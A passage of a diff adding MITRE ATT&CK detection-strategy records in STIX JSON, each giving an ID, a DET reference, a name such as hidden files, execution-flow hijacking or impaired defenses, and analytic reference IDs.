"x-mitre-analytic--8963772e-2ee5-421e-aec0-b952d05d4efc", + "x-mitre-analytic--a3c087a6-b7dc-464f-9e84-278bf3076ed1", + "x-mitre-analytic--a6299804-cf50-4496-a242-1394ff89c147" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--82c31276-f916-4d67-be83-f09534c0c77e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0461", + "external_id": "DET0461" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Hidden File System Abuse", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--8d7fb300-189d-4654-ba66-3612a8a4cf65", + "x-mitre-analytic--35300a0c-e135-4865-9fe5-9d65a1c77dda", + "x-mitre-analytic--82908b5f-fa84-4420-bb1c-cc77e12e9d3c" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--3f59957a-2e55-4378-bbe7-090fb1e4f067", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0032", + "external_id": "DET0032" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Hidden Files and Directories", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--4ea80ec4-bfcc-4bd6-b986-aa2c9fe2d8d6", + "x-mitre-analytic--c4108797-7eb4-4ef8-8dee-c2db00695ab4", + "x-mitre-analytic--73931643-7fae-409c-98b3-00bd88e246e0" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--c48fd7e3-fbfb-4ab5-b577-12cc0be21f2c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0353", + "external_id": "DET0353" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Hidden User Accounts", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--6039c777-6a85-4df4-86b9-40d95796046e", + "x-mitre-analytic--397a553d-c08d-497e-8fb0-9526f5a205bc", + "x-mitre-analytic--cabc275f-5097-4d2e-aabe-b49a31ba87b9" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--55321f9d-1646-45b9-b23e-e3c0fe105400", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0321", + "external_id": "DET0321" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Hidden Virtual Instance Execution", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--f94e2ae3-7c79-4796-96a1-e462828f9c13", + "x-mitre-analytic--79ba9430-eeb0-4fce-9757-bb81fc2a43d5", + "x-mitre-analytic--4d76bcf2-0935-4f61-8dd9-57ee3713b840", + "x-mitre-analytic--d677a72d-db0e-4332-a467-95b19836ef16" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--1167a6c8-d735-4d5d-81f5-d81c6eafe239", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0128", + "external_id": "DET0128" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Hidden Windows", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--b3bad14e-39a8-4e90-b3e3-46974fd9c2bd", + "x-mitre-analytic--7ef0d746-f233-4b41-b999-43a6b1484574", + "x-mitre-analytic--3d9fb03c-fcc9-4f19-9c49-09d8321f28b9" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--ba2efedb-2670-4072-b56f-8f12daa31923", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0411", + "external_id": "DET0411" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Hide Infrastructure", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--9311924d-7d8f-489a-8105-058a60f572fc", + "x-mitre-analytic--c71bf861-9b5a-4f39-a53f-bb6f45f7a971", + "x-mitre-analytic--9cf6c89d-73f7-42f8-b5e4-c87bf3abbb7d", + "x-mitre-analytic--3f74d068-0a8b-4312-91f3-34da6c630c4a", + "x-mitre-analytic--4b16cb6e-7a81-4f97-a4ad-5e461e1cc154" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--07669925-383b-455b-a3e2-3a79e18eed27", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0218", + "external_id": "DET0218" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Hijack Execution Flow across OS platforms.", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--248be939-35f5-4c8a-9e21-b6de514da577", + "x-mitre-analytic--e21542c4-8df8-4c9e-8b1d-2c9bbe058386", + "x-mitre-analytic--e8fc16bf-6654-4912-96c9-208e4c5bbaa6" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--bd33de0c-1ed7-42ea-b77d-1fd5d33acd3b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0201", + "external_id": "DET0201" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Hijack Execution Flow for DLLs", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--448ecbfb-2b38-4ecc-9c63-f7dd87339271" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--26a281d7-c49e-4e36-ab51-26a757559cf0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0064", + "external_id": "DET0064" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Hijack Execution Flow through Path Interception by Unquoted Path", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--a972f507-cf1b-4e2f-acdc-877a7891b7cf" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--a44e6677-25d9-495a-91fd-e2611dac9477", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0427", + "external_id": "DET0427" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Hijack Execution Flow through Service Registry Premission Weakness.", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--43f5598c-5c63-40f4-b936-2978bd0f3aa0" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--7e71997a-80b5-4d0d-807e-472116b46b77", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0436", + "external_id": "DET0436" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Hijack Execution Flow through Services File Permissions Weakness.", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--0a847430-f140-419e-b0fe-bd891bde85a6" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--387ae9f0-0b8b-49b9-ab85-8f325a583d24", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0517", + "external_id": "DET0517" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Hijack Execution Flow through the AppDomainManager on Windows.", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--aa3484d0-d7ae-40e2-8a44-6b963883a35d" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--7ee8426e-2b65-44ed-b6d4-3800b92adf2e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0577", + "external_id": "DET0577" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Hijack Execution Flow through the KernelCallbackTable on Windows.", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--da853af7-f2e4-45c2-b78f-3d960fff638e" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--07b1eb42-4f7b-4420-972e-2f28f17c0fa0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0038", + "external_id": "DET0038" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Hijack Execution Flow using Executable Installer File Permissions Weakness", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--4f132f21-1287-4fc2-a13e-d7770d856610" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--4b2bc278-fc80-4ff8-87a3-a6843a9e683a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0004", + "external_id": "DET0004" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Hijack Execution Flow using Path Interception by PATH Environment Variable.", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--bbd003ec-4208-48bb-9ad5-b9dd627fdd14", + "x-mitre-analytic--00b5d9a8-a794-4d7c-90df-71c4021e0a46", + "x-mitre-analytic--b2261c7f-664b-400c-b8ba-8b5bc3bac75a" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--9050bfb8-840d-4464-b4e8-7a0dbdece715", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0564", + "external_id": "DET0564" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Hijack Execution Flow using Path Interception by Search Order Hijacking", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--578c821c-f8e3-45e7-a9b4-9aed6c84309a" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--8276f61b-0147-4e72-94fb-7cdd47dc60ec", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0479", + "external_id": "DET0479" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Hijack Execution Flow using the Windows COR_PROFILER.", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--39d115fc-5e7b-423f-94da-a3b4242e07b8" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--eca47fcc-6bee-43b1-9569-631a22be5fe0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0152", + "external_id": "DET0152" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Hijack Execution Flow: Dylib Hijacking", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--a1e502e2-d940-4c71-9eac-893e7a3025e3" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--da2107bd-4733-4d0b-a35c-33f7883e9ae9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0435", + "external_id": "DET0435" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Hijack Execution Flow: Dynamic Linker Hijacking", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--048adb6e-49a1-463e-bc0d-0a9a543cf0ce", + "x-mitre-analytic--5907bfc2-a5d6-4ff1-bba8-8b94c9835ed6" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--d65ea5cc-52c6-4ec6-98a8-eef0be23ee72", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0422", + "external_id": "DET0422" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for IFEO Injection on Windows", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--3e5b15b0-e6b2-402a-9c4f-e483c968a38e" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--29d1e77a-a05e-4ead-8272-b254992cd2ba", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0067", + "external_id": "DET0067" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Ignore Process Interrupts", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--8d75d4b3-6748-4d1c-936c-129ee56a12a5", + "x-mitre-analytic--80e9341d-7ea4-4684-8f27-54566e996ce6", + "x-mitre-analytic--c9079261-caa7-4cfe-8be6-1359db599d27" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--e8e88bcd-0294-48d2-bd3c-0408814f4a69", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0317", + "external_id": "DET0317" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Impair Defenses Across Platforms", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--febc685b-997f-4095-b60b-5dfeefe01ae3", + "x-mitre-analytic--003dd2ae-b156-4ebd-8a59-76f993056552", + "x-mitre-analytic--fb51dd4c-b751-4282-a447-d9f5f257b435", + "x-mitre-analytic--2a4f23d7-3f80-45b7-90ec-b13fdd7f8d70", + "x-mitre-analytic--d2762796-1dea-448a-970a-7aeb176aa668", + "x-mitre-analytic--ac692681-2851-41b4-aff9-4b5efc4c40c8", + "x-mitre-analytic--0ba25127-85e4-46ef-8173-96aa9df90c22", + "x-mitre-analytic--dc5bfda5-057d-4bec-b3e6-a6b2117a4134", + "x-mitre-analytic--a807fb55-1c4f-4353-90d6-1a05aa05f2c9" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--0596d971-9552-4cd0-a5aa-4385cf707371", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0239", + "external_id": "DET0239" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Impair Defenses Indicator Blocking", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--945f8192-6f4f-4183-b457-40b5c6d9b4ca", + "x-mitre-analytic--63e17792-17f5-48ae-8002-da6b62b4bcaa", + "x-mitre-analytic--9274294a-dfc3-4084-b228-dfb36448f077", + "x-mitre-analytic--b3828af6-912b-493b-b621-3448a8f07972" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--8577b89d-01e2-4423-8657-caff7ed22737", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0563", + "external_id": "DET0563" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Impair Defenses via Impair Command History Logging across OS platforms.", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--1f69e126-e849-43a1-9fca-b5c63a154daa", + "x-mitre-analytic--2a5f1993-7035-4d94-b9d1-7edb1850d4e1", + "x-mitre-analytic--91870bc8-3a81-4d90-84e4-26c99b5642ef", + "x-mitre-analytic--8ed1a27f-3a60-441d-b92d-dc7b086db459", + "x-mitre-analytic--77450309-6789-4025-9817-d908c4ac9e5b" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--1e08be7e-451c-4b10-9e65-b6dbf8d54b38", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0286", + "external_id": "DET0286" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Impersonation", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--e4246c20-fbe4-4750-a29e-44e3fe179bf2", + "x-mitre-analytic--5c7a8194-f0cb-498a-98c6-5928859bf79f", + "x-mitre-analytic--1305f37f-8333-4d86-9714-340b66c65771", + "x-mitre-analytic--2266c86a-a47e-46ac-aa6d-c1eb6d49a1e5", + "x-mitre-analytic--250d2977-7b94-4041-a299-0f2f1532eb95" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--6ab338c4-9ed3-4f63-9462-b13cea5a68b0", + 